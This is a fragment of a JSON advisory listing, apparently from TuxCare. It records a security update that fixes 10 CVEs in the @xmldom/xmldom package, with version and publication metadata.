CVEs. Fixed in 0.7.13-tuxcare.1.","status":"published","published":"2026-09-30T08:05:46Z","modified":"2026-10-15T09:47:53.549832566Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1791192659","title":"TuxCare security update for @xmldom/xmldom (10 CVEs)","description":"TuxCare rebuilt @xmldom/xmldom to address 10 CVEs. Fixed in 0.9.8-tuxcare.2.","status":"published","published":"2026-10-05T09:30:59Z","modified":"2026-10-15T09:47:39.24556286Z","updated_at":"2026-11-02T15:43:49.016976Z"}]}}